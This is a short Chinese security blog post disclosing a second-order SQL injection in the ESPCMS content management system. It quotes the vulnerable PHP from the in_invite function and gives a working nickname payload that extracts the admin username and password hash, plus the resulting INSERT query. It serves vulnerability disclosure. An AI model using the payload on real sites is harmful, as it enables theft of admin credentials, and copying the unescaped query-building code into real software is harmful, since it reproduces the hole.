ESPCMS 二次注入

漏洞位于 interfacepublic.php文件 in_invite 函数中

核心代码如下:

$ec_member_username_id = $this->member_cookieview('userid');
  if ($ec_member_username_id) {
   $rsMember = $this->get_member_attvalue($ec_member_username_id);
  }
  $userid = $ec_member_username_id ? $ec_member_username_id : 0;
  $name = $rsMember['alias'] ? $rsMember['alias'] : '';  //sink 二次注入

  $sex = $rsMember['sex'] ? $rsMember['sex'] : 0;
  $tel = $rsMember['tel'] ? addslashes($rsMember['tel']) : '';
  $address = $rsMember['address'] ? addslashes($rsMember['address']) : '';
  $db_field = 'mlvid,userid,name,sex,email,tel,address,isclass,addtime';
  $db_values = "$mlvid,$userid,'$name',$sex,'$email','$tel','$address',1,$addtime";

  $this->db->query('INSERT INTO ' . $db_table . ' (' . $db_field . ') VALUES (' . $db_values . ')');

一个二次注入的问题 在个人资料中将昵称改成SQL语句 即可

SQL: ',0,(select concat(username,CHAR(0x7c),password) from espcms_admin_member limit 1),0,0,0,0)#

20130827090513

SQL: INSERT INTO espcms_mailinvite_list (mlvid,userid,name,sex,email,tel,address,isclass,addtime) VALUES (1,1,0,0,(select concat(username,CHAR(0x7c),password) from espcms_admin_member limit 1),0,0,0,0)#',0,'123456@qq.com','','xx',1,1370357340)

注入成果后得到如下图

20130827090631

发送订阅邮件时候 抓包得到概述里的图

20130827090707

作者:合肥滨湖虎子

本文固定链接: https://www.unhonker.com/bug/1377.html | 90' s Blog|关注网络信息安全

该日志由 unhonker 于2013年08月27日发表在 漏洞公布 分类下, 你可以发表评论,并在保留原文地址及作者的情况下引用到你的网站或博客。
原创文章转载请注明: ESPCMS 二次注入 | 90' s Blog|关注网络信息安全
关键字:

ESPCMS 二次注入:等您坐沙发呢!

发表评论

您必须 [ 登录 ] 才能发表留言!